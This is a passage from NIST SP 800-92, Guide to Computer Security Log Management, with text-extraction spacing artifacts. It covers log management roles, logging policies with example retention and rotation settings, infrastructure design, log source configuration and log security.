system-level administrators to get additional information regarding an event or to request that they inve stigate a particular event  Identifying changes needed to system logging configurations (e.g., which entries and data fields are sent to the centralized log servers, wha t log format should be used) and informing system- level administrators of the necessary changes  Initiating responses to events, including incident handling and operational problems (e.g., a failure of a log management infrastructure component)  Ensuring that old log data is archived to removable media and disposed of properly once it is no longer needed39  Cooperating with requests from legal counsel, auditors, and ot hers  Monitoring the status of the log management infrastructure (e.g., failures in logging software or log archival media, failures of local systems to transfer their log data) and initiating appropriate responses when problems occur  Testing and implementing upgrades and updates to the log management infrastructure’s components  Maintaining the security of the log management infrastructure. Another key responsibility of many log management infrastructure administrators is verifying the work of system-level administrators. When deciding how to divide log management duties, organizations might want to consider separation of duties and accountability. For example, having someone other than a system administrator review the logs for a particular system helps to provide accountability for the system administrator’s actions, including confirming that logging is enabled. Separation of duties considerations can have a significant impact on an organization’s logging policies, the resources necessary to suppo rt logging, and the design of log management infrastructures, should there be a desire to have large volumes of log data forwarded to log servers for independent reviews. Organizations need to determine how much analysis should be done by system-level administrators and how much by the log management infrastructure administrators. Generally, at least som e analysis should be performed at the system level because the system’s administrators can often provide context for events recorded in the log data. For example, if a log show s tha t a system rebooted three times in an hour, an infrastructure administrator might not be able to determine why that occurred from reviewing other log entries, but a local administrator would know that the system was being patched at that time and that the reboots were intentional. Another reason for performing system-level analysis is that local administrators might have different interests th an infrastructure administrators, such as identifying operational problems and other non-security concerns. Als o, there are often far too many events for infrastructure administrators to review them all, and too much data to transfer across networks to the log management infrastructure. Performing analysis at the system level is also helpful to administrators in gaining a better unde rstanding of each system’s characteristics so that they can fine-tune logging configurations. Performing some analysis at the infrastructure level is particularly helpful in a few ways. It is much more likely to be performed in near-real-time than system-level analysis; this suppo rts more rapid responses to 39 Section 5.4 contains additional information on log data archival, including media selection, integrity checking, and media storage. 4-2 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT serious security events and helps to minimize the impact of security incidents. Typically, the log data most like ly to record important events sho uld be analyzed on an ongoing basis, consistent with the monitoring of other key centralized security controls such as network intrusion detection systems, antivirus software, and network firewalls.40 Also, analysis at the infrastructure level can find patterns of events across multiple systems, such as coordinated or widespread attacks (e.g., malware, distributed denial of service), and attacks that go b etween the organization’s systems. Another reason, as mentioned earlier, is the separation of duties between system-level administrators and infrastructure administrators. In general, when determining how to divide analysis responsibilities, organizations should focus on the relative importance of different types of entries and the context necessary to unde rstand each log entry’s true meaning. Organizations should think carefully about possible sources of context, such as change management information, that infrastructure administrators might be able to use. For entry types that generally do not require context, organizations should consider automating and centralizing the analysis as much as possible. For entry types that do require context, organizations should either rely on system- level administrators or ensure that the necessary context is available to infrastructure administrators through suppo rting log entries, change management pr ogram data, or other sources. To ensure that log management at the system level is performed effectively througho ut the organization, the administrators of those systems need to receive adequate suppo rt from the organization. Assum ing that the system-level administrators have typical responsibilities, an organization’s suppo rt for them should encompass the following actions:  Disseminating information and providing training on the roles that individual systems and their administrators play in the log management infrastructure  Providing poin ts of contact who can answer administrators’ questions on logging  Encouraging administrators to subm it their lessons learned, and providing a mechanism to disseminate their ideas (e.g., mailing list, internal Web forum, workshop)  Providing specific technical guidance on integrating system log data with the log management infrastructure, such as implementing SIEM agents or establishing local syslog implementations  Considering establishing a test environment for logging. The organization could test various configurations for common logging sources, document recommendations and instructions, and disseminate them to administrators for their use. This information should help them configure their loggin g more effectively and consistently, and also save them time.  Making tools such as log r otation scripts and log analysis software available to administrators, along with documentation. Organizations should consider implementing these in a test environment and documenting recommendations and instructions for using them. Organizations sho uld also provide similar suppo rt for infrastructure administrators, with an emphasis on training and tools. 4.2 Establish Loggi ng P olicies An organization should define its requirements and goals for performing logging and monitoring logs, as described in Section 2.2. The requirements sho uld include all applicable laws, regulations, and existing 40 In many organizations, the same group of security administrators monitors most or all of the major centralized security controls. For more information on monitoring security controls as part of an incident response program, see NIST SP 800- 61, Computer Security Incident Handling Guide, which is available at http://csrc.nist.gov/publications/nistpubs/. 4-3 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT organizational policies, such as data retention policies. The goals should be based on balancing the organization’s reduction of risk with the time and resources needed to perform log management functions. The requirements and goals sho uld then be used as the basis for establishing an organization-wide log management capability and prioritizing log management appropriately throughout the enterprise. Organizations sho uld develop policies that clearly define mandatory requirements and sugge sted recomme ndations for several aspects of log management, including the following:41  Log generation – Which types of hosts must or should perform logging – Which host components must or should perform loggi ng (e.g., OS, service, application) – Which types of events each component must or should log (e.g., security events, network conne ctions, authentication attempts) – Which data characteristics must or should be logge d for each type of event (e.g., username and source IP address for authentication attempts) – How frequently each type of event must or should be logge d (e.g., every occurrence, once for all instances in x minutes, once for every x instances, every instance after x instances)42  Log transmission – Which types of hosts must or should transfer logs to a log management infrastructure – Which types of entries and data characteristics must or should be transferred from individual hosts to a log management infrastructure – How log data must or should be transferred (e.g., which protocols are permissible), including out-of-band methods where appropriate (e.g., for standalone systems) – How frequently log data should be transferred from individual hosts to a log management infrastructure (e.g., real-time, every 5 minutes, every hour) – How the confidentiality, integrity, and availability of each type of log data must or should be protected while in transit, including whether a separate logging network should be used  Log storage and disposal43 – How often logs should be rotated – How the confidentiality, integrity, and availability44 of each type of log data must or should be protected while in storage (at both the system level and the infrastructure level) 45 41 For organizations with complex, multi-tiered log management infrastructures, separate requirements might be needed for each tier. 42 For many log sources, this is not configurable; events are logged each time they occur. Some log sources do not record each individual event; for exam ple, an operating system might log an unauthorized access attempt only after three consecutive failed logins occur. Another example is an intrusion detection system that does not generate an alert until it sees 10 hosts scanned within a minute. 43 A source of information on log retention requirements is the National Archives and Records Administration (NARA) General Records Schedu le (GRS) 20, which is available at http://www. archives.gov/records-mgmt/ardor/grs20.html. NARA’s Web site for Federal records management is located at http://www. archives.gov/records-mgmt/. 4-4 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT – How long each type of log data must or should be preserved (at both the system level and the infrastructure level)46 – How unne eded log data must or should be disposed of (at both the system level and the infrastructure level) – How much log storage space must or should be available (at both the system level and the infrastructure level) – How log preservation requests, such as a legal requirement to prevent the alteration and destruction of particular log records, must be handled (e.g., how the impacted logs must be marked, stored, and protected)  Log analysis – How often each type of log data must or should be analyzed (at both the system level and the infrastructure level) – Who must or should be able to access the log data (at both the system level and the infrastructure level), and how such accesses should be logge d – What must or should be done when suspi cious activity or an anomaly is identified47 – How the confidentiality, integrity, and availability of the results of log analysis (e.g., alerts, reports) must or should be protected while in storage (at both the system level and the infrastructure level) and in transit – How inadvertent disclosures of sensitive information recorded in logs, such as passwords or the contents of e-mails, should be handled. An organization’s policies should also address who within an organization can establish and manage log management infrastructures. Organizations should also ensure that other policies, guidelines, and procedures that have some relationship to logging incorporate and suppo rt these log management requirements and recomme ndations, and also comply with functional and operational requirements. An example is ensuring that software procurement and custom application development activities take log management requirements into consideration. Table 4-1 provides examples of the types of logging configuration settings to be specified in policies. Organizations should not adopt these values as-is, but instead use them as a starting point for determining 44 An example of protecting availability is making multiple copies of log data and storing them in separate locations so that the data will still be available even if one copy is dam aged or destroyed. 45 For more information on preserving logs in a forensically sound m anner, see NIST SP 800- 86, Guide to Integrating Forensic Techniques into Incident Response, which is available at http://csrc.nist.gov/publications/nistpubs/. 46 This can have a significant effect on digital forensics in several ways. First, data regarding a pa rticular event could be needed w eeks or months after the event occurred. Second, forensic analysis, such as queries of logs, might be significantly slowed by certain storage media (e.g.., loading archived logs from tape instead of directly querying online log files). Third, forensic analysis could also be slowed if data is not stored where the analyst is, such as a local analyst not having access to the remote centralized log storage. Organizations should keep digital forensics needs in mind when setting log storage requirements and des igning a log management infrastructure. 47 This item should already be addressed by an organization’s incident response-related policies. It is outside the scope of this publication to provide guidance on how anomalies and suspicious activity should be handled. For more information on incident handling, see NIST SP 80 0-61, Computer Security Incident Handling Guide, which is available at http://csrc.nist.gov/publications/nistpubs/. 4-5 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT what values are appropriate for their own needs and comply with applicable regulations and laws, such as HIPAA, SOX, and the Federal Financial Management Improvement Ac t of 1996 ( FFMIA)48 requirements for core financial systems.49 The examples in Table 4-1 do not take into account the logg ing requirements imposed by such initiatives, which may be considerably highe r, particularly for certain types of systems or data (e.g., personally identifiable information, health information). An organization should conduct a detailed analysis of all initiatives which may affect its logging requirements, along with other factors described in Section 4.3, when determining what logging configuration settings it should require. Also, more stringent requirements for performing log preservation in suppo rt of investigations (e.g., internal investigations, computer security incident handling) should override the standard organization-established values for log retention as applicable. The types of values defined in Table 4-1 sho uld only be applied to the hosts and host components previously specified by the organization as ones that must or should be logging security-related events. Organizations sho uld also consider creating separate tables for hosts and host components that will use a log management infrastructure and ones that will not. Also, separate requirements may be needed for hosts that use out-of-band methods to provide log data to a log management infrastructure. For example, it is probably not feasible to require log data to be transferred out-of-band to the centralized servers hourly. Simila r limitations exist with an organization’s mob ile systems, such as laptops, that may be in use outside the organization but a re not necessarily able to transfer log information (e.g., laptop not connected to network; laptop on low-speed, intermittent connection). Table 4-1. Exa mples of Logg ing Configuration Settings Category Low Impact Systems Moderate Impact Systems High Impact Systems How long to retain log data 1 to 2 weeks 1 to 3 months 3 to 12 months How often to rotate logs Optional (if performed, at least every week or every 25 MB) Every 6 to 24 hours, or every 2 to 5 MB Every 15 to 60 minutes, or every 0.5 to 1.0 MB If the organization requires the system to transfer log data to the log manage ment infrastructure, how frequently that shou ld be done Every 3 to 24 hours Every 15 to 60 minutes At least every 5 minutes How often log data needs to be analyzed locally (through automated or manua l means) Every 1 to 7 days Every 12 to 24 hours At least 6 times a day Whether log file integrity checking needs to be performed for rotated logs Optional Yes Yes Whether rotated logs need to be encrypted Optional Optional Yes 48 More information on FFMIA is available at http://www. whitehouse.gov/omb/financial/ffs_ffmia.html. 49 Because of the different com binations of regulations and laws to which individual organizations and systems within organizations are subject, it is not feasible to produce specific recommendations in this publication for policy items mentioned in this section, such as the length of time to retain log data or the frequency of log rotation. Even when considering only a single regulation or law, developing specific recommendations is very difficult because there is no consensus within the security community. Many people feel that logs should capture as much data as possible and retain it for as long as possible, while others feel that this approach is too costly in terms of money and resources and instead want to capture less data and retain it for a shorter time. 4-6 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT Category Low Impact Systems Moderate Impact Systems High Impact Systems Whether log dat a transfers to the log manage ment infrastructure need to be encrypted or performed on a separate logging network Optional Yes, if feasible Yes Legal issues related to logging should also be addressed in the organization’s policies. Logging can capture (intentionally or incidentally) information with privacy or security implications, such as passwords or the contents of e-mails. This could expose the information to staff members that are analyzing data or administering the recording systems (e.g., IDS sensors). Organizations should have policies regarding the handling of inadvertent disclosures of sensitive information. Another problem with capturing data such as e-mails and text documents is that long-term storage of such information may violate an organization’s data retention policy. It is also important to have policies regarding monitoring of networks. Organizations sho uld consult legal counsel when developing loggi ng policies to ensure that complex issues such as data retention are addressed properly. The organization’s policies and procedures should also address the preservation of original logs. Many organizations send copies of network traffic logs to centralized devices, as well as use tools that analyze and interpret network traffic. In cases where logs may be needed as evidence, organizations may wish to acquire copies of the original log files, the centralized log files, and interpreted log data, in case there are any questions regarding the fidelity of the copying and interpretation processes. Retaining logs for evidence may involve the use of different forms of storage and different processes, such as additional restrictions on access to the records.50 Log integrity may also need to be preserved, such as storing logs on write-once media or generating message digests for each log file. Organizations sho uld perform periodic reviews of their logging-related policies and update them as needed. Possible causes for updates include the results of audits (as described in Section 5.6), changes to legal and regulatory requirements, and feedback from infrastructure and system-level administrators on logging requirements. Organizations should also periodically review recommendations from infrastructure and system-level administrators on policy changes related to the reconfiguration of security controls. For example, suppo se that host-based firewalls on many systems are logging large numbers of port scans from external hosts, and these log entries comprise a large percentage of the total logs of the firewalls. The organization might decide to alter its policies so that the scanning activity is prohibited, which would lead to network firewall configuration changes that would prevent the scans from reaching the individual systems and their host-based firewalls. This would cause a significant reduction in the number of security events logge d by the host-based firewalls. 4.3 Ensure that Policies Are Feasible Creating requirements and recommendations for logging needs to be done in conjunction with an analysis of the technology and resources needed to implement and maintain them, their security implications and value, and the regulations and laws to which the organization is subject, as described in Section 4.2. Whenever possible, organizations should examine existing logs and log configurations when determining the requirements and recomme ndations. For example, configuring an OS to log every auditable event could cause an enormous number of log entries to be generated. This could seriously impact the performance of the host, as well as causing log entries to be overwritten very quickly and making proper 50 For more information on preserving logs in a forensically sound m anner, see NIST SP 800- 86, Guide to Integrating Forensic Techniques into Incident Response, which is available at http://csrc.nist.gov/publications/nistpubs/. 4-7 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT analysis of the log data nearly impossible. Also, the volume of log data being recorded by any source tends to be very dynamic, changing frequently in the short term, and also changing overall in the long term. Logging settings that are reasonable at one time might be infeasible at another, particularly during adverse circumstances. Recording more data is not necessarily better; generally, organizations should only require logging and analyzing the data that is of greatest importance, and also have non-mandatory recommendations for which other types and sources of data should be logge d and analyzed if time and resources permit. Some organizations choose to have all or nearly all log data generated and stored for at least a short period of time in case it is needed; this approach favors security considerations over usability and resource usage. When establishing requirements and recommendations, organizations should be flexible since each host is different and will log different amounts of data than other hosts. Flexibility is also important because the logging behavior of a host may change rapidly due to an upgrade, patch, or configuration change. Organizations sho uld also permit administrators to reconfigure logging temporarily during adverse system or network conditions, such as unsuccessful malware attacks that cause the same type of log entry to be generated many times. These configuration changes should be performed as a last resort and should be as precise as possible. System-level administrators should inform the infrastructure administrators of such configuration changes to ensure that log monitoring and analysis processes are modified if needed. Organizations sho uld also consider the environments in w hich systems reside whe n developing policy. NIST SP 800-70, Secur ity Configuration Checklists Program for IT Product s—Guidance f or Checklists Users and Devel opers, identifies several commo n operational environments.51 The following describes four of these environments and explains how the characteristics of each environment might impact logging policy. Organizations might consider having separate logging policy provisions for systems in each environment.  Small Office/Home Office (SOHO) de scribes small, informal computer installations that are used for home or business purposes. SOHO e ncompasses a variety of small-scale environments and devices, ranging from laptops, mobile devices, or hom e computers, to telecommuting systems, to small businesses and small branch offices of a company. Many SOHO s ystems have intermittent, low-bandwid th conne ctions to organizations’ primary networks, which could significantly impact use of and integration with a log management infrastructure. It might be necessary to design a log management infrastructure so as to minimize the transmission of data from SOHO s ystems to the infrastructure.  Enterprise environments typically consist of large organizational systems with defined, organized suites of hardware and software configurations, usually consisting of centrally- managed workstations and servers protected from the Internet by firewalls and other network security devices. Of all the environments, the Enterprise environment is typically the easiest in which to perform log management.  Custom environments contain systems in which the functionality and degree of system do not fit the other environments. Two typical Custom environments are Specialized Security-Limited Functionality and Legacy: – Specialized Security-Limited Functionality environments contain systems and networks at high risk of attack or data exposure, with security taking precedence over functionality. They assum e that systems have limited or specialized functionality (not general purpose workstations or systems) in a highly threatened environment, such as an outward-facing firewall or public Web server, or whose data content or mission purpose is of such value that 51 NIST SP 8 00-70 is available for download from http://checklists.nist.gov/. 4-8 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT aggressive trade-offs in favor of security outweigh the potential negative consequences to other useful system attributes such as interoperability with other systems. Some Specialized Security-Limited Functionality systems might have a limited ability to participate in a log management infrastructure because of the potential security risks of doing so (e.g., running additional network services, transmitting unprotected sensitive information over networks). It might be necessary to design a log management infrastructure so that these systems have all log management performed locally or that their logs are transferred to the infrastructure through out-of-band means such as remova ble media. – Legacy. A Legacy environment contains olde r systems or applications that may use olde r, less secure communication mechanisms. Other machines operating in a Legacy environment may need less restrictive security settings so that they can communicate with legacy systems and applications. Some Legacy systems might not be able to participate in a log management infrastructure because the necessary software cannot be installed or configured properly on them. It might be necessary to design a log management infrastructure so that these systems have all log management performed locally or that their logs are transferred to the infrastructure through out-of-band means such as removable media. 4.4 Design Log M anagement Infrastructures After establishing an initial policy and identifying roles and responsibilities, an organization should next design one or more log management infrastructures that effectively suppo rt the policy and roles. If the organization already has a log management infrastructure, then the organization should first determine if it can be modified to meet the organization’s needs. If the existing infrastructure is unsuitable, or no such infrastructure exists, then the organization should either identify its infrastructure requirements, evaluate possible solutions, and implement the chosen solution (hardware, software, and possibly network enhancements), or reevaluate its needs and modify its policy. Organizations may wish to create a draft policy, attempt to design a corresponding log management infrastructure, and determine what aspects of the policy make that infeasible. The organization can then revise its poli cies so that the infrastructure implementation will be less resource-intensive, while ensuring that all legal and regulatory requirements are still met. Because of the complexities of log management, it may take a few cycles of policy modification, infrastructure design, and design assessment to finalize the policy and design. When designing a log management infrastructure, organizations should consider several factors related to the current and future needs of both the infrastructure and the individ ual log sources throughout the organization. Major factors include the following:  The typical and peak volume of log data to be processed per hour and da y. The typical volume of log data tends to increase over time for most log sources. The peak volume should include handling extreme situations, such as widespread malware incidents, vulnerability scanning, and penetration tests th at may cause unusually large numbers of log entries to be generated in a short period of time. If the volume of log data is too high, a logging denial of service may result. Many loggi ng products rate their capacity for processing log data by the volume of events the y can process in a given time, most often in events per second (EPS).  The typical and peak usage of network bandwidth.  The typical and peak usage of online and offline (e.g., archival) data storage. This should include an analysis of the time and resources needed to perform backups and archival of log data, as well as disposing of the data once it is no longe r needed. 4-9 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT  The security needs for the log data. For example, if log data needs to be encrypted when transmitted between systems, this could require more processing by the systems, as well as increased usage of network bandwidth.  The time and resources needed for staff to analyze the logs. 4.5 Summa ry To establish and maintain successful log management infrastructures, an organization should perform significant planning and other preparatory actions for performing log management. This is important for creating consistent, reliable, and efficient log management practices that meet the organization’s needs and requirements and also provide additional value for the organization. As part of the log management planning process, an organization should define the roles and respon sibilities of indivi duals and teams who are expected to be invo lved in log management. System and network administrators are usua lly responsible for configuring logg ing on their systems and network devices, analyzing those logs periodically, reporting on the results of log management activities, and performing regular maintenance of the logs and loggi ng software. Security administrators are usua lly responsible for managing and monitoring the log management infrastructure, configuring loggi ng on security devices, reporting on the results of log management activities, and assisting others with log management. Many ot hers within an organization may also have log management roles, such as incident handlers, application developers, auditors, and management. Assignment of roles and responsibilities should take into account the benefits of performing analysis at the system level and the infrastructure level. System-level administrators need to receive adequate suppo rt from the organization, such as training, mechanisms for disseminating information, technical guidance, and log management tool s. An organization should define its requirements and goals for performing logging and monitoring logs. Based on that determination, the organization should then develop poli cies that clearly define mandatory requirements and sugge sted recommendations for several aspects of log management, including log generation, transmission, storage, disposal, and analysis. The organization should also ensure that other policies, guidelines, and procedures that have som e relationship to logg ing incorporate and suppo rt these log management requirements and recomme ndations, and also comply with functional and operational requirements. The organization’s policies and procedures should also address legal issues related to logging, such as the preservation of original log files that may be needed as evidence. Organizations should perform periodic reviews of their logging-related policies and update them as needed. Creating requirements and recommendations for logging needs to be done in conjunction with an analysis of the technology and resources needed to implement and maintain them, their security implications and value, and the regulations and laws to which the organization is subject. Generally, organizations should only require logging and analyzing the data that is of greatest importance, and also have non-mandatory recommendations for which other types of data should be logge d and analyzed if time and resources permit. In some cases, organizations choose to have all or nearly all log data generated and stored for at least a short period of time in case it is needed; this approach favors security over usability and resource usage. After establishing an initial policy and identifying roles and responsibilities, an organization should next design one or more log management infrastructures that effectively suppo rt the policy and roles. When designing the infrastructures, organizations should consider the current and future needs of both the infrastructures and the individual log sources throughout th e organization. Major factors to consider in the design include the volume of log data to be processed, network bandwid th, online and offline data storage, the security needs for the data, and the time and resources needed for staff to analyze the logs. 4-10 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT 5. Log M anagement Operation al Processes System-level and infrastructure administrators should follow standard processes for managing the logs for which they are responsible. This section describes the major operational processes for log management, which are as follows:  Configure the log sources, including log generation, storage, and security  Perform analysis of log data  Initiate appropriate respon ses to identified events  Manage the long-term storage of log data. This section describes each of these processes and provides guidance on performing them. It also provides a brief discussion of other operational processes that system-level and infrastructure administrators should perform. The section also describes the need to perform regular audits of log management operations. The guidance in this section is based on the assumption that an organization has already designed and deployed one or more log management infrastructures. 5.1 Confi gure Log S ourc es System-level administrators need to configure log sources so that they capture the necessary information in the desired format and locations, as well as retain the information for the appropriate period of time. Configuring log sources is often a complex process. First, administrators need to determine which of their hosts and host components must or should participate in the log management infrastructure, based on the organization’s poli cies. A single log file might contain information from several sources, such as an OS log c ontaining information from the OS itself and several security software programs and applications. Administrators should ascertain which log sources use each log file.52 Next, for each identified log source, administrators need to determine which types of events each log source must or should log, as well as which data characteristics must or should be logge d for each type of event.53 The administrator’s ability to configure each log so urce is dependent on the features offered by that particular type of log source. For example, som e log sources offer very granular configuration options, while some offer no granularity at all—logging is simply enabled or disabled, with no control over what is logge d. This section discusses log source configuration in three categories: log generation, log storage and disposal, and log security. 5.1.1 Log Generation Assuming that a log source offers configuration options, it is generally prudent to be conservative when selecting initial logging settings.54 A single setting could cause an enormous number of log entries to be recorded, or far too much information to be logge d for each event. Exc essive logging can cause loss of log data, as well as operational problems such as system slowdowns or even denial of service conditions. System-level administrators need to consider the likely effect of the log source configuration not only on 52 In some cases, it may be very difficult to identify all the log sources without running the host in a production environment and m onitoring the actual logs. 53 For common host implementations that use security configuration checklists, organizations should find it effective to modify the checklists to include log source configuration. 54 This is most applicable to the first days of logging for a source. Conservative settings should only be used for an extended period if the use of less conservative settings would cause serious problems. 5-1 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT the loggin g host, but also on other log management infrastructure components—for example, excessive logging can cause significantly more usage of network bandwidth and centralized log storage. For log source configurations with which administrators are not completely familiar, administrators might choose to test the m in a non-production environment before deploying them to any production systems. This is particularly recommended for the most commo n log sources, log sources on critical hosts, and the most im portant log sources. Software vendors and other parties may also have information available on the loggin g capabilities and typical effects of various loggi ng settings, which can be very helpful in determining an initial configuration.55 5.1.2 Log S torage and Disposal System-level administrators need to determine how each log source should store its data. This should be driven primarily by organizational policies regarding log storage, particularly requirements to forward entries to a log management infrastructure. Once such requirements have been met, administrators typically have significant flexibility regarding other log storage settings. The storage options for log entries are as follows:  Not stored. Entries that are determined to be of little or no value to the organization, such as debugging messages that can only be unde rstood by the software vendor, or error messages that do not log any details of the activity, generally do not need to be stored.  System level only. Entries that might be of some value or interest to the system-level administrator, but are not sufficiently important to be sent to the log management infrastructure, should be stored on the system. For example, if an incident occurs, additional system-level log entries might provide more information on the series of events related to the incident. System- level administrators might also find it helpful to review these entries to develop baselines of typical activity and identify long -term trends.  Both system level and infrastructure level. Entries deemed to be of particular interest should be retained on the system and also transmitted to the log management infrastructure. Reasons for having the logs in both locations include the following: – If either the system or infrastructure logging should fail, the other should still have the log data. For example, if a log server fails or a network failure prevents logging hosts from contacting it, logging to the system helps to ensure that the log data is not lost. – During an incident on a system, the system’s logs might be altered or destroyed by attackers; however, usua lly the attacker will not have any access to the infrastructure logs. Incident respon se staff can use the data from the infrastructure logs; also, they can compare the infrastructure and system logs to determine what data was changed or removed, which may indicate what the attacker wanted to conceal. 55 Examples of logging settings and audit policies for Windows 2000 Professional and Windows XP Professional are available from NIST SP 80 0-43, Systems Administration Guidance for Securing Microsoft Window s 2000 Professional System, and NIST SP 8 00-68, Guidance for Securing Microsoft Window s XP Systems for IT Professionals: A NIST Security Configuration Checklist. Both publications are available from http://csrc.nist.gov/publications/nistpubs/. 5-2 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT – System or security administrators for a particular system are often responsible for analyzing its logs, but not for analyzing its log data on infrastructure log servers.56 Accordingly, the system logs need to contain all data of interest to the syste m-level administrators.  Infrastructure level only. If logs are stored on the infrastructure servers, generally it is preferable to also store them at the system level. However, this is not always possible, such as systems with little capacity for logs or log sources not capable of storing logs locally (e.g., an application that can only log to a remote logging server). Configuring log sources to store entries in the necessary locations, as well as transmit entries to the log management infrastructure, can be tricky. As mentioned at the beginning of Section 5.1, log sources vary greatly in their custom izability. Examples are as follows:  Some can only log to a single system log file. Log management infrastructures typically suppo rt common log file formats, such as comma-separated or tab-separated values, syslog, and databases. Some infrastructures also suppo rt the most po pular proprietary log formats. If a log format is not suppo rted by the infrastructure software, system-level administrators may need to get log conve rsion programs that can be run periodically to conve rt the logs to a format that the infrastructure can use. If this is not an option, then administrators may have to perform regular manual reviews of the log, and the log contents will not be sent to the infrastructure servers. Log sources that store their data in proprietary formats typically provide log viewer or analysis tools to assist administrators in performing analysis.  Some can use multiple types of system logs, such as a proprietary format log or a standard format log (e.g., syslog). In many cases, the logs do not contain all of the same data; proprietary format logs often contain more data fields than the standard format logs. One option with some log sources is to send data to multiple system logs simultaneously. This allows system-level administrators to perform their analysis using the proprietary format logs, while making much of the data available in a standard format for the log management infrastructure.  Some can log both at the system level and the infrastructure level simultaneously . It is even possible with som e log sources to specify which types of log entries sho uld go to each source, rather than sending the same entries to each log source. Local log rotation is another important part of configuring log sources. System-level and infrastructure administrators should configure all log sources to perform log rotation, preferably both at a regular time (e.g., hourly, daily, weekly) and when a maximum log size is reached (e.g., 1 megabyte [MB], 10 MB, 100 MB ).57 If a log s ource does not provide a log rotation capability, an administrator might need to deploy a separate log rotation utility or script for the logs. Some log sources do not lend themselves to third-party log rotation, such as some logs in proprietary formats. In these cases, the log sources typically offer the administrator choices on what to do when the log becomes full, such as the following:  Stop loggin g. This is generally an unacceptable option be cause it permits operations to continue without allowing monitoring of related security events. 56 Some organizations allow system-level administrators to access their systems’ log data stored on the log m anagement infrastructure’s log servers. This most often occurs for systems that cannot log locally or cannot retain log information for longer than a brief period. 57 Administrators should be aware that log rotation is not always performed cleanly. Events in progress at the time that a log is rotated may have their associated log entries split between two log files. In some cases, the log source may continue to upda te the old log for events that were already in progress, so the archived log file might actually continue to change for some period of time, typically minutes. 5-3 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT  Overwri te the oldest entries. This is often acceptable for lowe r-priority log sources, particularly when the significant log entries have already been transmitted to a log server or archived to offline storage. This is also typically the best method for logs that are very difficult to rotate.  Stop the log ge nerator. When logg ing is critical, it may be necessary to configure the OS, security software, or application generating the logs to shut down whe n there is no space left for more log entries. On such systems, administrators should take reasonable measures to ensure that log generators have adequate space for their logs and that log u sage is monitored closely. Many of these log sources can also alert administrators when a log is nearly full (generally, a predetermined threshold such as 80 or 90% full), and again when the log is completely full. This can be helpful for any log source, but is mos t effective for logs that fill slowly—the first warning of the log becoming full may be sent several days before the log is completely full, giving administrators ample time to archive any needed log entries and then clear the log. Infrastructure and system-level administrators are also responsible for ensuring that old logs are archived for the appropriate length of time and then destroyed when no longer needed, in compliance with the organization’s logging , data retention, and media sanitization policies.58 If substantial volumes of logs need to be kept on the system to expedite analysis or for other reasons, administrators might need to acquire additional storage devices (e.g., hard drives) for the archived logs. If old log data still on a system is no longe r needed because it is not of importance or has already been archived, it is usua lly disposed of either by deleting the old log files or by performing log c learing to remove all entries that precede a certain date and time. Many log sources offer log clearing features. 5.1.3 Log Security Infrastructure and system-level administrators need to protect the integrity and availability of log data, and often protect its confidentiality as well. Section 5.1.2 describes log storage and archival practices, which suppo rt availability. Additional security considerations for securing logs on systems, in storage, and in transit include the following:  Limit access to log files. Users should not have any access to most log files unless som e level of access is necessary for creating log entries. If so, users should have append-only privileges and no read access if possible. Users should not be able to rename, delete, or perform other file-level operations on log files.  Avoid recording unne eded sensitive data. Some logs may record sensitive data, such as passwords, that does not need to be logge d. When feasible, logging should be configured not to record information that is not required and would present a substantial risk if accessed by unauthorized parties.  Protect a rchived log files. This could include creating and securing message dige sts for the files, encrypting log files, and providing adequate physical protection for archival media.  Secure the pro cesses that generate the log entries. Unauthorized parties sho uld not be able to manipulate log source processes, executable files, configuration files, or other components of the log sources that could impact logging .  Configure each log so urce to behave appropriately when loggin g errors occur. For example, logging might be considered so important for a particular log source that the log source should be 58 In many cases, only some of the old entries might need to be archived. Administrators might choose to perform log filtering so that only the necessary data is archived. This generally reduces the time and storage media needed for archival. 5-4 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT configured to suspe nd its functionality completely when loggi ng fails. Another example is handling full log files, as described in Section 5.1.2.  Implement secure mechanisms for transporting log data from the system to the centralized log management servers, if such protection is needed and not provided automatically by the log management infrastructure. Many transport protocols, such as FTP and H ypertext Transfer Protocol (HTTP), do n ot provide protection. An administrator might need to upgrade a system’s logging software to a version that has additional security features, or to encrypt the loggi ng communications through a separate protocol such as Internet Protocol Security (IPsec) or SSL. 5.2 Analyze Log Da ta Effective analysis of log data is often the most challenging aspect of log management, but i s also usua lly the most im portant. Although analyzing log data is sometimes perceived by administrators as uninteresting and inefficient (e.g., little value for much effort), having robust l og management infrastructures and automating as much of the log analysis process as possible can significantly improve analysis so that it takes less time to perform and produces more valuable results. This section provides recommendations on gaining an unde rstanding of logs and prioritizing log entries, and also compares system-level and infrastructure-level analysis. 5.2.1 Gaining an Understanding of Logs The key to performing log analysis is unde rstanding the typical activity associated with each system. Although som e log entries are very easy to unde rstand, many are not. The primary reasons for this are as follows:  Need f or Context. The meaning of an entry often depends upon the context surrounding it. Adm inistrators need to determine how this context is defined, such as through additional log entries in one or more logs, or through non- log sources (e.g., configuration management records). Context is needed to validate unreliable log entries, such as security software that often generates false positives when looking for malicious activity. Infrastructure administrators should reach out to system-level administrators as needed to help provide context for entries.  Unclear Mes sages. A log entry might contain a cryptic message or code that is meaningful to the software vendor but n ot to the administrator reviewing the entry. Such entries might necessitate discussion s with the software vendor to determine their meanings. Using SIEM software to analyze logs typically reduces the number of unclear messages because the SIEM software often has detailed knowle dge of software vendors’ logg ing practices. However, even SIEM so ftware cannot unde rstand every message, such as new message types associated with a just-released update to a product. In som e cases, it might not be possible to gain a full unde rstanding of a log entry. For example, a log source might not be capable of recording the suppo rting data necessary to provide adequate context for an entry. Also, a software vendor might be unable to provide sufficiently detailed information on the meaning of a particular message. Although it is certainly preferable for administrators to understand all log entries, in many cases it is simply not feasible. Also, there may be so many different types of log entries that it is not possible to unde rstand them all fully with the limited resources available. The most effective way to gain a solid unde rstanding of log data is to review and analyze portions of it regularly (e.g., every day). The goal is to eventually gain an unde rstanding of the baseline of typical log entries, likely encompassing the vast majority of log entries on the system. (Because a few types of entries often 